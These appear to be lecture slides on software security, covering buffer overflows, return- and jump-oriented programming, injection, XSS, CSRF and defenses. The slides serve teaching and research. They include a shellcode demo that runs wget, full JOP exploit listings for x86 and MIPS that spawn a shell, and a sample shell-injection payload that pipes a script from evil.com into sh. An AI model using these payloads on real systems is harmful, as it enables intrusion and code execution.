What is a Buffer Overflow?

• Intent
  ▪ Arbitrary code execution
    • Spawn a remote shell or infect with worm/virus
  ▪ Denial of service

• Steps
  ▪ Inject attack code into buffer
  ▪ Redirect control flow to attack code
  ▪ Execute attack code
Buffer Problem: Data overwrite

```c
int main(int argc, char *argv[]) {
    char passwd_ok = 0;
    char passwd[8];
    strcpy(passwd, argv[1]);
    if (strcmp(passwd, "niklas") == 0) {
        passwd_ok = 1;
    }
    if (passwd_ok) {
        ... 
    }
}
```

- **passwd** buffer overflowed, overwriting **passwd_ok** flag
  - Any password accepted!
Another Example: Code injection via function pointer

```c
char buffer[100];
void (*func)(char*) = thisfunc;
strcpy(buffer, argv[1]);
func(buffer);
```

- Problems?
  - Overwrite function pointer
    - Execute code arbitrary code in buffer
Stack Attacks:
Code injection via return address

• When a function is called...
  ▪ parameters are pushed on stack
  ▪ return address pushed on stack
  ▪ called function puts local variables on the stack

• Memory layout

• Problems?
  ▪ Return to address X which may execute arbitrary code
#include <stdlib.h>
#include <stdio.h>

int main() {
    char name[1024];
    printf("What is your name? ");
    scanf("%s", name);
    printf("%s is cool.\n", name);

    return 0;
}
Demo – normal execution
Demo – exploit

```
$ ./cool < attack
What is your name? Ph... hpeedPhhinghomertPhhrPhren'PhlearPhlmYh [31.
ütüäh Phtar.h2.7.hthon-h/Pyth/2.7thonhp/pyhg/fttn.orhythoww.ph/://whttp1P
wgetP001LPS-P001P001P001P001P001P001P001P001P001P001Ph/wgeh/binh/usr P is cool.
You clearly aren't cut out for C. How about I start you off on something more your speed...

--2010-09-22 11:40:00-- http://www.python.org/ftp/python/2.7/Python-2.7.tar.bz2
Connecting to www.python.org[82.94.164.162]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 11735195 (11M) [application/x-bzip2]
Saving to: `Python-2.7.tar.bz2'

100%[=======================================================================>] 11,735,195 3.52M/s in 3.8s

2010-09-22 11:40:05 (2.97 MB/s) - `Python-2.7.tar.bz2' saved [11735195/11735195]
```
How to write attacks

- Use NASM, an assembler:
  - Great for machine code and specifying data fields

```
%define buffer_size 1024
%define buffer_ptr 0xbfffe2e4
%define extra 20

<<< MACHINE CODE GOES HERE >>>

; Pad out to rest of buffer size
times buffer_size-($-$$) db 'x'

; Overwrite frame pointer (multiple times to be safe)
times extra/4  dd buffer_ptr + buffer_size + extra + 4

; Overwrite return address of main function!
dd buffer_location
```
Attack code trickery

• Where to put strings? No data area!
• You often can't use certain bytes
  ▪ Overflowing a string copy? No nulls!
  ▪ Overflowing a scanf %s? No whitespace!
• Answer: use code!
• Example: make "ebx" point to string "hi folks":
  ```assembly
  push "olks" ; 0x736b6c6f="olks"
  mov ebx, -"hi f" ; 0x99df9698
  neg ebx ; 0x66206968="hi f"
  push ebx
  mov ebx, esp
  ```
Shellcode

• Code supplied by attacker
  • Often saved in buffer being overflowed
  • Traditionally transferred control to a user command-line interpreter (shell)

• Machine code
  • Specific to processor and operating system
  • Traditionally needed good assembly language skills to create
  • More recently a number of sites and tools have been developed that automate this process

• Metasploit Project
  • Provides useful information to people who perform penetration, IDS signature development, and exploit research
Figure 10.4 Program Loading into Process Memory
Stack vs. Heap vs. Global attacks

- Book acts like they’re different; they are not

<table>
<thead>
<tr>
<th>Stack overflows</th>
<th>Non-stack overflows: heap/static areas</th>
</tr>
</thead>
<tbody>
<tr>
<td>- Data attacks, e.g. “is_admin” variable</td>
<td>- Data attacks, e.g. “is_admin” variable</td>
</tr>
<tr>
<td>- Control attacks, e.g. function pointers, return addresses, etc.</td>
<td>- Control attacks, e.g. function pointers, etc.</td>
</tr>
</tbody>
</table>
**Table 10.2**

Some Common Unsafe C Standard Library Routines

<table>
<thead>
<tr>
<th>Function</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>gets(char *str)</code></td>
<td>read line from standard input into str</td>
</tr>
<tr>
<td><code>sprintf(char *str, char *format, ...)</code></td>
<td>create str according to supplied format and variables</td>
</tr>
<tr>
<td><code>strcat(char *dest, char *src)</code></td>
<td>append contents of string src to string dest</td>
</tr>
<tr>
<td><code>strcpy(char *dest, char *src)</code></td>
<td>copy contents of string src to string dest</td>
</tr>
<tr>
<td><code>vsnprintf(char *str, size_t size, const char *format, va_list ap)</code></td>
<td>create str according to supplied format and variables</td>
</tr>
</tbody>
</table>

**Better:**

- `fgets(char *s, int size, FILE *stream)`
- `snprintf(char *str, size_t size, const char *format, ...);`
- `strncat(char *dest, const char *src, size_t n)`
- `strncpy(char *dest, const char *src, size_t n)`
- `vsnprintf(char *str, size_t size, const char *format, va_list ap)`

**Also dangerous:** all forms of `scanf` when used with unbounded `%s`!
Buffer Overflow Defenses

• Buffer overflows are widely exploited

Two broad defense approaches

Compile-time
  - Aim to harden programs to resist attacks in new programs

Run-time
  - Aim to detect and abort attacks in existing programs
Compile-Time Defenses: Programming Language

- Use a modern high-level language
  - Not vulnerable to buffer overflow attacks
  - Compiler enforces range checks and permissible operations on variables

Disadvantages

- Additional code must be executed at run time to impose checks
- Flexibility and safety comes at a cost in resource use
- Distance from the underlying machine language and architecture means that access to some instructions and hardware resources is lost
- Limits their usefulness in writing code, such as device drivers, that must interact with such resources
Compile-Time Defenses: Safe Coding Techniques

• C designers placed much more emphasis on space efficiency and performance considerations than on type safety
  • Assumed programmers would exercise due care in writing code

• Programmers need to inspect the code and rewrite any unsafe coding
  • An example of this is the OpenBSD project

• OpenBSD code base: audited for bad practices (including the operating system, standard libraries, and common utilities)
  • This has resulted in what is widely regarded as one of the safest operating systems in widespread use
int copy_buf(char *to, int pos, char *from, int len) 
{ 
    int i; 
    
    for (i=0; i<len; i++) { 
        to[pos] = from[i]; 
        pos++; 
    } 
    return pos; 
} 

(a) Unsafe byte copy 

short read_chunk(FILE fil, char *to) 
{ 
    short len; 
    fread(&len, 2, 1, fil); ........................................................... /* read length of binary data */
    fread(to, 1, len, fil); ........................................................... /* read len bytes of binary data 
return len; 
} 

(b) Unsafe byte input 

Figure 10.10 Examples of Unsafe C Code
Compile-Time Defenses: Language Extensions/Safe Libraries

- Handling dynamically allocated memory is more problematic because the size information is not available at compile time
  - Requires an extension and the use of library routines
    - Programs and libraries need to be recompiled
    - Likely to have problems with third-party applications

- Concern with C is use of unsafe standard library routines
  - One approach has been to replace these with safer variants
    - Libsafe is an example
    - Library is implemented as a dynamic library arranged to load before the existing standard libraries
Compile-Time Defenses: Stack Protection

- Add function entry and exit code to check stack for signs of corruption
- Use random canary
  - Value needs to be unpredictable
  - Should be different on different systems
- Stackshield and Return Address Defender (RAD)
  - GCC extensions that include additional function entry and exit code
    - Function entry writes a copy of the return address to a safe region of memory
    - Function exit code checks the return address in the stack frame against the saved copy
    - If change is found, aborts the program
Preventing Buffer Overflows

• Strategies
  ▪ Detect and remove vulnerabilities (best)
  ▪ Prevent code injection
  ▪ Detect code injection
  ▪ Prevent code execution

• Stages of intervention
  ▪ Analyzing and compiling code
  ▪ Linking objects into executable
  ▪ Loading executable into memory
  ▪ Running executable
Run-Time Defenses: Guard Pages

• Place guard pages between critical regions of memory
  o Flagged in MMU as illegal addresses
  o Any attempted access aborts process

• Further extension places guard pages between stack frames and heap buffers
  o Cost in execution time to support the large number of page mappings necessary
W^X and ASLR

- **W^X**
  - Make code read-only and executable
  - Make data read-write and non-executable

- **ASLR: Randomize memory region locations**
  - “Address Space Layout Randomization”
  - Stack: subtract large value
  - Heap: allocate large block
  - DLLs: link with dummy lib
  - Code/static data: convert to shared lib, or re-link at different address
  - Makes absolute address-dependent attacks harder
Doesn't that solve everything?

- PaX: Linux implementation of ASLR & W^X
- Actual title slide from a PaX talk in 2003:

PaX
(http://pageexec.virtualave.net)

The Guaranteed End of Arbitrary Code Execution

?
Negating ASLR

- ASLR is a probabilistic approach, merely increases attacker’s expected work
  - Each failed attempt results in crash; at restart, randomization is different
- Counters:
  - Information leakage
    - Program reveals a pointer? Game over.
  - Derandomization attack [1]
    - Just keep trying!
    - 32-bit ASLR defeated in 216 seconds

Negating $W^X$

- Question: do we need malicious code to have malicious behavior?

No.

- Code injection
- "Return-into-libc" attack

- Code reuse (!)

- Address of system() (launch a shell)
Return-into-libc

- Return-into-libc attack
  - Execute entire libc functions
  - Can chain using “esp lifters”
  - Attacker may:
    - Use system/exec to run a shell
    - Use mprotect/mmap to disable W^X
    - Anything else you can do with libc
  - Straight-line code only?
    - Shown to be false by us, but that's another talk...
Arbitrary behavior with $W^X$?

• Question: do we need malicious code to have arbitrary malicious behavior?  
  
  No.

• Return-oriented programming (ROP)

• Chain together gadgets: tiny snippets of code ending in ret

• Achieves Turing completeness

• Demonstrated on x86, SPARC, ARM, z80, ...
  
  ▪ Including on a deployed voting machine, which has a non-modifiable ROM
  
  ▪ Recently! New remote exploit on Apple Quicktime$^1$

---

Return-oriented programming (ROP)

- Normal software:

- Return-oriented program:

Figures taken from "Return-oriented Programming: Exploitation without Code Injection" by Buchanan et al.
Some common ROP operations

- Loading constants
  ```
  pop eax ; ret
  0x55555555
  ```

- Control flow
  ```
  pop esp ; ret
  ```

- Arithmetic
  ```
  add eax, ebx ; ret
  ```

- Memory
  ```
  mov ebx, [eax] ; ret
  0x8070abcd
  ```

Figures adapted from "Return-oriented Programming: Exploitation without Code Injection" by Buchanan et al.
Bringing it all together

- **Shellcode**
  - Zeroes part of memory
  - Sets registers
  - Does `execve` syscall

---

Figure taken from "The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)" by Shacham
Defenses against ROP

- ROP attacks rely on the stack in a unique way
- Researchers built defenses based on this:
  - ROPdefender\(^1\) and others: maintain a shadow stack
  - DROP\(^2\) and DynIMA\(^3\): detect high frequency \texttt{rets}
  - Returnless\(^4\): Systematically eliminate all \texttt{rets}

- So now we're totally safe forever, right?
- \textbf{No}: code-reuse attacks need not be limited to the stack and \texttt{ret}!
  - See “Jump-oriented programming: a new class of code-reuse attack” by Bletsch et al.
    (covered in this deck if you’re curious)
Software security in general
Software Security, Quality and Reliability

- **Software quality and reliability:**
  - Concerned with the accidental failure of program as a result of some theoretically random, unanticipated input, system interaction, or use of incorrect code
  - Improve using structured design and testing to identify and eliminate as many bugs as possible from a program
  - Concern is not how many bugs, but how often they are triggered

- **Software security:**
  - Attacker chooses probability distribution, specifically targeting bugs that result in a failure that can be exploited by the attacker
  - Triggered by inputs that differ dramatically from what is usually expected
  - Unlikely to be identified by common testing approaches

Defending against idiots

Defending against attackers
Defensive Programming

- Programmers often make assumptions about the type of inputs a program will receive and the environment it executes in
  - Assumptions need to be validated by the program and all potential failures handled gracefully and safely

- Requires a changed mindset to traditional programming practices
  - Programmers have to understand how failures can occur and the steps needed to reduce the chance of them occurring in their programs

- Conflicts with business pressures to keep development times as short as possible to maximize market advantage

Developar giev profits 4 me!!!
Secure-by-design vs. duct tape

- Security a consideration **from the start**
- Security woven into *each* component

**Good**

- No access restriction on host, just coarse limits on network access
- No firewall, but “it’s encrypted”
- Obsolete unsupported software w/o updates, but “it’s firewalled”
- No encryption between tiers because “it’s firewalled”
- “Temporary” admin access

**Bad**

- No access limits from middleware because “it’s firewalled”
Security runs through everything

• Can’t just have a separate team that “does software security”
  ▪ They never get the power they need
  ▪ They don’t write the code that will be broken
  ▪ Security is an emergent property; can’t be added from outside

• Everyone developing a product must understand basic security concepts
  ▪ Security team is there to test, advise, and provide training, not “add in the security”
What to do when you walk into a security mess
Fixing a mess: psychological steps

• If you don’t have **buy-in from top leadership**, YOU WILL PROBABLY FAIL
  ▪ Fight for the support you need (see next slide)
  ▪ If you can’t get it, consider leaving the company
  ▪ The saddest people I’ve known are security experts at insecure companies...they pretty much just log the existence of timebombs they don’t get to defuse.

• Acknowledge that:
  ▪ It will be painful
  ▪ Yes, adding security takes time away from feature work
  ▪ Devs may have to change their way of thinking
  ▪ There is a **trade-off** between security and usability

• Keep everyone remembering the **concrete real risks**
Fixing a mess: psychological steps: *How to convince an executive*

- **Words to use:**
  - *Cost to fix vs. cost if unfixed*
  - Likelihood of risk & severity of risk
  - Cost to fix:
    - Human time
    - Opportunity cost of foregoing other features/fixes
  - Cost if unfixed:
    - Downtime
    - Loss of customer data
    - Damage to reputation
    - Actions of criminal attackers
    - Civil liability
    - Loss of sales
  - **Trade-off** against feature development and time-to-market

- **Words to avoid:**
  - *Anything involving computers*

- **The executive mindset:**
  - **Maximize dollars**

  - Change in dollars if we do X?
    - Change in revenue
    - Change in costs
    - Opportunity cost

- **If things are very toxic:**
  - Negligence
  - Duty to report
  - Ethics board
Fixing a mess: technical steps

**Low-hanging fruit:** Turn on and configure security features already available, and turn off dumb stuff:

- Use host-based firewalls
- Turn on encryption on protocols that support it (e.g. HTTP->HTTPS)
- Disable/uninstall unnecessary services
- Tighten permissions on all inter-communicating components (e.g. “your app doesn’t have to log into the database as root”)
- Install relevant security tools from elsewhere in the course (e.g. host/net-based IDS/IPS)
- Ensure there are no “fixed” passwords (e.g. every install of this app logs into its database with the password ‘9SlALfpY58jg’)

Fixing processes:

• Make the build process smart and automated (if it isn’t already)
  ▪ Code analysis tools (e.g. lint, style checker, etc.)
  ▪ Automated testing (e.g. nightly build tests)
• Team dedicated to security test development and auditing
  ▪ Separate from the main developers!
• Code reviews (fine grained, in-team)
• Code audits (coarse grained, separate team)
• Bad practice ratchets:
  ▪ Yes there are 33 instances of strcpy() in the code, but there shall not be a single one more!
  ▪ Enforce with automated code analysis at check-in
  ▪ Cause code check-ins that violate the ratchet to FAIL – code literally doesn’t commit!
  ▪ You must also have a team refactor the existing bad practices
    • Yes this could break old gnarly critical code, TOO BAD, that’s where the vulnerabilities are likeliest!
Fixing a mess: technical steps

Identifying specific flaws:

• Penetration testing/code audit
  ▪ If getting a contractor, research a ton and spend *real money*
    • Idiot security auditors are extremely common

• Short-term bug bounty
  ▪ Why not long term? Because developers will start getting sloppy to generate bounties

Long-term re-architecting:

• Redesign the product in accordance with the principles of this course

• Phase in the changes over time

• Tie these changes to feature improvements to prevent them being cut by future short-sightedness
Specific software security practices
Handling input

- Identify all data sources
- Treat all input as dangerous
  - Explicitly **validate assumptions** on size and type of values before use
    - Numbers in **range**? Integer overflow? Negatives? Floating point effects?
    - Input not **too large**? Buffer overflow? Unbounded resource allocation?
    - Text input includes **non-text characters**?
  - **Unicode vs ASCII issues**?
    - Unicode has invisible characters, text-direction changing characters, and more! Also, what about stupid emojis????
  - Any “**special” characters**? The need for quoting/escaping...
    - For files, is **directory traversal** allowed (../../thing)?
      - Common bug in web apps: ask for ../../../etc/passwd or similar
    - Danger of **injection attacks** (next slide)
Injection attacks

• When input is used in some form of code.

• Examples:
  ▪ SQL injection (“SELECT FROM mydata WHERE X=$input”)
    • $input = “; DROP TABLE mydata”
  ▪ Shell injection (“whois –H $domain”)
    • $domain = “; curl http://evil.com/script | sh”
  ▪ Javascript injection (“Welcome, $name!”)
    • $name = “<script>send_cookie_to_evil_domain();</script>”

• Solutions:
  ▪ **Escape special characters** (e.g. ‘;’, ‘<’, etc.)
    • Used tested library function to do this – don’t guess!!
  ▪ For SQL: Use **prepared statements**
    • SQL integration library fills in variables instead of you doing it
  ▪ Better solution for SQL: Use a **Object-Relational Mapping**
    • Library generates *all* SQL, no chance for an injection vulnerability
Validating Input Syntax

- It is necessary to ensure that data conform with any assumptions made about the data before subsequent use.
- Input data should be compared against what is wanted (**WHITE LIST**)
  - ^ Yes, this is reasonable.
- Alternative is to compare the input data with known dangerous values (**BLACK LIST**)
  - ^ No, bad text book! This is dumb!
Input Fuzzing

• Developed by Professor Barton Miller at the University of Wisconsin Madison in 1989

• Software testing technique that uses randomly generated data as inputs to a program
  o Range of inputs is very large
  o Intent is to determine if the program or function correctly handles abnormal inputs
  o Simple, free of assumptions, cheap
  o Assists with reliability as well as security

• Can also use templates to generate classes of known problem inputs
  o Disadvantage is that bugs triggered by other forms of input would be missed
  o Combination of approaches is needed for reasonably comprehensive coverage of the inputs
Cross Site Scripting (XSS) Attacks

• Attacks where input provided by one user is subsequently output to another user

• Common in scripted Web applications
  o Inclusion of script code in the HTML content
  o Script code may need to access data associated with other pages
  o Browsers impose security checks and restrict data access to pages originating from the same site

• Exploit assumption that all content from one site is equally trusted and hence is permitted to interact with other content from the site

• XSS reflection vulnerability
  o Attacker includes the malicious script content in data supplied to a site
Thanks for this information, its great!

(a) Plain XSS example

Thanks for this information, its great!

(b) Encoded XSS example

Figure 11.5 XSS Example
Cross-Site Request Forgery (CSRF)

• In HTTP, the ‘GET’ transaction should not have side effects.
  Per RFC 2616:
  "In particular, the convention has been established that the GET and HEAD methods SHOULD NOT have the significance of taking an action other than retrieval. These methods ought to be considered "safe"."

• When a web app has a GET request that has a side effect, anyone can link to it! Then...
  ▪ Victim user follows link
  ▪ Targeted site identifies victim user by cookie and assumes user intends to do the action expressed by the link

• Example from uTorrent client: Change admin password
  http://localhost:8080/gui/?action=setsetting&s=webui.password&v=eviladmin

• Fixes:
  ▪ #1: GET urls shouldn’t do stuff
  ▪ #2: Anything that does do stuff should have a challenge/response
Race condition

- Exploit multi-processing to take advantage of transient states in code
- Common example: **Time Of Check to Time Of Use bug (TOCTOU)**

<table>
<thead>
<tr>
<th>Victim</th>
<th>Attacker</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>if (access(&quot;file&quot;, W_OK) != 0) {</code></td>
<td><code>//</code></td>
</tr>
<tr>
<td><code>   exit(1);</code></td>
<td><code>// After the access check</code></td>
</tr>
<tr>
<td><code>}</code></td>
<td><code>symlink(&quot;/etc/passwd&quot;, &quot;file&quot;);</code></td>
</tr>
<tr>
<td><code>fd = open(&quot;file&quot;, O_WRONLY);</code></td>
<td><code>// Before the open, &quot;file&quot; points to the password database</code></td>
</tr>
<tr>
<td><code>// Actually writing over /etc/passwd</code></td>
<td><code>//</code></td>
</tr>
<tr>
<td><code>write(fd, buffer, sizeof(buffer));</code></td>
<td><code>//</code></td>
</tr>
</tbody>
</table>

- **How to exploit**: try a lot very fast, use debug facilities, etc.
- **Solutions**: Locking, transaction-based systems, drop privilege as needed

Environment variables

- Control a LOT of things implicitly
  - Examples:
    - PATH sets where named binaries are located
    - LD_PRELOAD forces a shared library to load no matter what, allowing overrides of standard functions (e.g. open/close/read/write)
    - HOME sets where the home directory is, so things writing to ~/whatever can be made to write elsewhere
    - IFS sets what characters are allowed to separate words in a command (wow, that’s tricky!)

- Need to make sure attacker can’t change, especially when escalating privilege.
  - Example: If I have a legitimate setuid-root binary, but I can set PATH to my directory, then if that binary runs a program by name, it could be my version!

- Solution: Drop all environment and set manually during privilege escalation process
  - See here for more.
```bash
#!/bin/bash
user=`echo $1 | sed 's/@.*$//'`
grep $user /var/local/accounts/ipaddrs
```

(a) Example vulnerable privileged shell script

```bash
#!/bin/bash
PATH="/sbin:/bin:/usr/sbin:/usr/bin"
export PATH
user=`echo $1 | sed 's/@.*$//'`
grep $user /var/local/accounts/ipaddrs
```

(b) Still vulnerable privileged shell script

^ Can still exploit IFS variable (e.g. make it include '=' so the PATH change doesn't happen)

Figure 11.6 Vulnerable Shell Scripts
Use of Least Privilege

- Privilege escalation
  - Exploit of flaws may give attacker greater privileges

- Least privilege
  - Run programs with least privilege needed to complete their function

- Determine appropriate user and group privileges required
  - Decide whether to grant extra user or just group privileges

- Ensure that privileged program can modify only those files and directories necessary
# Software security miscellany

- **#1: Error check ALL calls, even ones you think “can’t” fail**
- All code paths must be planned for!
- Avoid information leakage (especially in debug output!)
- Be wary of “serialization” (conversion of data structures to streams)
  - If data can include code (e.g. classes), bad input can yield arbitrary code
  - Tons of reported bugs in serialization.
    - Java now considers the Serializable interface to have been a mistake!
- Consider ‘weird’ versions of common things:
  - Weird files: FIFOs, device files, symlinks!
  - Weird URLs: URLs can include any scheme, including the ‘data’ schema that embeds the content right in the URL
  - Weird text: E.g., Unicode with all its extended abilities
  - Weird settings: Can make normal environments act in surprising ways (e.g. changing IFS)
Backup slides:
My past research on code reuse attacks

“Jump-oriented Programming” (JOP)
Defenses against ROP

• ROP attacks rely on the stack in a unique way
• Researchers built defenses based on this:
  – ROPdefender\cite{1} and others: maintain a shadow stack
  – DROP\cite{2} and DynIMA\cite{3}: detect high frequency \textit{rets}
  – Returnless\cite{4}: Systematically eliminate all \textit{rets}

• So now we're totally safe forever, right?
• \textbf{No}: code-reuse attacks need not be limited to the stack and \textit{ret}!
  – My research follows...
Jump-oriented programming (JOP)

- Instead of `ret`, use indirect jumps, e.g., `jmp eax`

- How to maintain control flow?
The dispatcher in depth

- Dispatcher gadget implements:
  \[ pc = f(pc) \]
  \[ \text{goto } *pc \]

- \( f \) can be anything that evolves \( pc \) predictably
  - Arithmetic: \( f(pc) = pc+4 \)
  - Memory based: \( f(pc) = *(pc+4) \)
Availability of indirect jumps (1)

- Can use `jmp` or `call` (don't care about the stack)
- When would we expect to see indirect jumps?
  - Function pointers, some switch/case blocks, ...?
- That's not many...

![Frequency of control flow transfers instructions in glibc](image)
Availability of indirect jumps (2)

• However: x86 instructions are **unaligned**
• We can find **unintended** code by jumping into the middle of a regular instruction!

```
add ebx, 0x10ff2a
```

```
81 c3 2a ff 10 00
```

```
call [eax]
```

• Very common, since they start with 0xFF, e.g.
  -1 = 0xFFFFFFFF
  -1000000 = 0xFFF0BDC0
Finding gadgets

• Cannot use traditional disassembly,
  – Instead, as in ROP, scan & walk backwards
  – We find 31,136 potential gadgets in libc!

• Apply heuristics to find certain kinds of gadget

• Pick one that meets these requirements:
  – Internal integrity:
    • Gadget must not destroy its own jump target.
  – Composability:
    • Gadgets must not destroy subsequent gadgets' jump targets.
Finding dispatcher gadgets

• Dispatcher heuristic:
  – The gadget must act upon its own jump target register
  – Opcode can't be useless, e.g.: inc, xchg, xor, etc.
  – Opcodes that overwrite the register (e.g. mov) instead of modifying it (e.g. add) must be self-referential
    • lea edx, [eax+ebx] isn't going to advance anything
    • lea edx, [edx+esi] could work

• Find a dispatcher that uses uncommon registers
  add ebp, edi
  jmp [ebp-0x39]

• Functional gadgets found with similar heuristics
Developing a practical attack

- Built on Debian Linux 5.0.4 32-bit x86
  - Relies solely on the included libc
- Availability of gadgets (31,136 total): PLENTY
  - Dispatcher: 35 candidates
  - Load constant: 60 pop gadgets
  - Math/logic: 221 add, 129 sub, 112 or, 1191 xor, etc.
  - Memory: 150 mov loaders, 33 mov storers (and more)
  - Conditional branch: 333 short adc/sbb gadgets
  - Syscall: multiple gadget sequences
The vulnerable program

• Vulnerabilities
  – String overflow
  – Other buffer overflow
  – String format bug

• Targets
  – Return address
  – Function pointer
  – C++ Vtable
  – Setjmp buffer
    • Used for non-local gotos
    • Sets several registers, including esp and eip
The exploit code (high level)

- Shellcode: launches `/bin/bash`
- Constructed in NASM (data declarations only)
- 10 gadgets which will:
  - Write null bytes into the attack buffer where needed
  - Prepare and execute an `execve` syscall
- Get a shell without exploiting a single `ret`:
The full exploit (1)

```
1 start:
2    ; Constants:
3    libc:          equ 0xb7e7f000 ; Base address of libc in memory
4    base:         equ 0x804a008 ; Address where this buffer is loaded
5    base_mangled: equ 0x1d4011ee ; 0x804a008 = mangled address of this buffer
6    initializer_mangled: equ 0x43ef491 ; 0xb7e81f7a = mangled address of initializer gadget
7    dispatcher:   equ 0xb7fa4e9e ; Address of the dispatcher gadget
8    buffer_length: equ 0x100 ; Target program's buffer size before the jmpbuf.
9    shell:        equ 0xbfffff8eb ; Points to the string "/bin/bash" in the environment to_null:
10    libc+0x7 ; Points to a null dword (0x00000000)

12    ; Start of the stack. Data read by initializer gadget "popa":
13    popa0_edi: dd -4 ; Delta for dispatcher; negative to avoid NULLs
14    popa0_esi: dd 0xaaaaaaa
15    popa0 ebp: dd base+g_start+0x39 ; Starting jump target for dispatcher (plus 0x39)
16    popa0 esp: dd 0xaaaaaaa
17    popa0 ebx: dd base+to_dispatcher+0x3e; Jumpback for initializer (plus 0x3e)
18    popa0 edx: dd 0xaaaaaaa
19    popa0 ecx: dd 0xaaaaaaa
20    popa0 eax: dd 0xaaaaaaa
21
22    ; Data read by "popa" for the null-writer gadgets:
23    popal_edi: dd -4 ; Delta for dispatcher
24    popal_esi: dd base+to_dispatcher ; Jumpback for gadgets ending in "jmp [esi]"
25    popal ebp: dd base+g00+0x39 ; Maintain current dispatch table offset
26    popal esp: dd 0xaaaaaaa
27    popal ebx: dd base+new_eax+0x17bc0000+1 ; Null-writer clears the 3 high bytes of future eax
28    popal edx: dd base+to_dispatcher ; Jumpback for gadgets ending "jmp [edx]"
29    popal ecx: dd 0xaaaaaaa
30    popal eax: dd -1 ; When we increment eax later, it becomes 0
31
32    ; Data read by "popa" to prepare for the system call:
33    popa2_edi: dd -4 ; Delta for dispatcher
34    popa2_esi: dd base+esi_addr ; Jumpback for "jmp [esi+K]" for a few values of K
35    popa2 ebp: dd base+g07+0x39 ; Maintain current dispatch table offset
36    popa2 esp: dd 0xaaaaaaa
37    popa2 ebx: dd shell ; Syscall EBX = 1st execve arg (filename)
38    popa2 edx: dd to_null ; Syscall EDX = 3rd execve arg (envp)
39    popa2 ecx: dd base+to_dispatcher ; Jumpback for "jmp [ecx]"
40    popa2 eax: dd to_null ; Swapped into ECX for syscall. 2nd execve arg (argv)
```
The full exploit (2)

; End of stack, start of a general data region used in manual addressing
42    dd dispatcher ; Jumpback for "jmp [esi-0xf]"
43   times 0xB db 'X' ; Filler
44 esi_addr: dd dispatcher ; Jumpback for "jmp [esi]"
45   dd dispatcher ; Jumpback for "jmp [esi+0x4]"
46   times 4 db 'Z' ; Filler
47 new_eax: dd 0xEEEEEE0b ; Sets syscall EAX via [esi+0xc]; EE bytes will be cleared

; End of the data region, the dispatch table is below (in reverse order)
50  g0a: dd 0xb7fe3419 ; syscall
51  g09: dd libc+ 0xa30d ; mov eax, [esi+0xc] ; mov [esp], eax ; call [esi+0x4]
52  g08: dd libc+0x136460 ; xchg ecx, eax ; fdiv st, st(3) ; jmp [esi-0xf]
53  g07: dd libc+0x137375 ; popa ; cmc ; jmp far dword [ecx]
54  g06: dd libc+0x14e168 ; mov [ebx-0x17bc0000], ah ; stc ; jmp [edx]
55  g05: dd libc+0x14748d ; inc ebx ; fdivr st(1), st ; jmp [edx]
56  g04: dd libc+0x14e168 ; mov [ebx-0x17bc0000], ah ; stc ; jmp [edx]
57  g03: dd libc+0x14748d ; inc ebx ; fdivr st(1), st ; jmp [edx]
58  g02: dd libc+0x14e168 ; mov [ebx-0x17bc0000], ah ; stc ; jmp [edx]
59  g01: dd libc+0x14734d ; inc eax ; fdivr st(1), st ; jmp [edx]
60  g00: dd libc+0x1474ed ; popa ; fdivr st(1), st ; jmp [edx]

; Start of the dispatch table, which is in reverse order.
62
63   times buffer_length - (g_start) db 'X' ; Pad to the end of the legal buffer
64
65 ; LEGAL BUFFER ENDS HERE. Now we overwrite the jmpbuf to take control
66 jmpbuf_ebx: dd 0aaaaaaa
67 jmpbuf_esi: dd 0aaaaaaa
68 jmpbuf_edi: dd 0aaaaaaa
69 jmpbuf_esp: dd base_mangled ; Redirect esp to this buffer for initializer's "popa"
70 jmpbuf_eip: dd initializer_mangled ; Initializer gadget: popa ; jmp [ebx-0x3e]
71
to_dispatcher: dd dispatcher ; Address of the dispatcher: add ebp,edi ; jmp [ebp-0x39]
72
    dw 0x73 ; The standard code segment; allows far jumps; ends in NULL
Discussion

• Can we automate building of JOP attacks?
  – Must solve problem of complex interdependencies between gadget requirements

• Is this attack applicable to non-x86 platforms?
  A: Yes

• What defense measures can be developed which counter this attack?
The **MIPS** architecture

- **MIPS: very different from x86**
  - Fixed size, aligned instructions
    - No unintended code!
  - Position-independent code via indirect jumps
  - Delay slots
    - Instruction after a jump will always be executed

- **We can deploy JOP on MIPS!**
  - Use intended indirect jumps
    - Functionality bolstered by the effects of delay slots
  - Supports hypothesis that JOP is a *general* threat
MIPS exploit code (high level overview)

- Shellcode: launches /bin/bash
- Constructed in NASM (data declarations only)
- 6 gadgets which will:
  - Insert a null-containing value into the attack buffer
  - Prepare and execute an execve syscall
- Get a shell without exploiting a single jr ra:
MIPS full exploit code (1)

```assembly
; ====== CONSTANTS ======

#define libc 0x2aada000 ; Base address of libc in memory.
#define base 0x7fff780e ; Address where this buffer is loaded.
#define initializer libc+0x103d0c ; Initializer gadget (see table below for machine code).
#define dispatcher libc+0x63fc8 ; Dispatcher gadget (see table below for machine code).
#define buffer_length 0x100 ; Target program’s buffer size before the function pointer.
#define to_null libc+0x8 ; Points to a null word (0x00000000).
#define gp 0x4189d0 ; Value of the gp register.

; ====== GADGET MACHINE CODE ======

| Initializer/pre-syscall gadget | Dispatcher gadget | Syscall gadget | Gadget "g04"
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>lw v0, 44(sp)</td>
<td>addu v0, a0, v0</td>
<td>syscall</td>
<td>sw a1, 44(sp)</td>
</tr>
<tr>
<td>lw t9, 32(sp)</td>
<td>lw v1, 0(v0)</td>
<td>lw t9, -27508(gp)</td>
<td>sw zero, 24(sp)</td>
</tr>
<tr>
<td>lw a0, 128(sp)</td>
<td>nop</td>
<td>nop</td>
<td>sw zero, 28(sp)</td>
</tr>
<tr>
<td>lw a1, 132(sp)</td>
<td>addu v1, v1, gp</td>
<td>jalr t9</td>
<td>addiu a1, sp, 44</td>
</tr>
<tr>
<td>lw a2, 136(sp)</td>
<td>jr v1</td>
<td>li a0, 60</td>
<td>jalr t9</td>
</tr>
<tr>
<td>sw v0, 16(sp)</td>
<td>nop</td>
<td></td>
<td>addiu a3, sp, 24</td>
</tr>
<tr>
<td>jalr t9</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>move a3, s8</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

; ====== ATTACK DATA ======

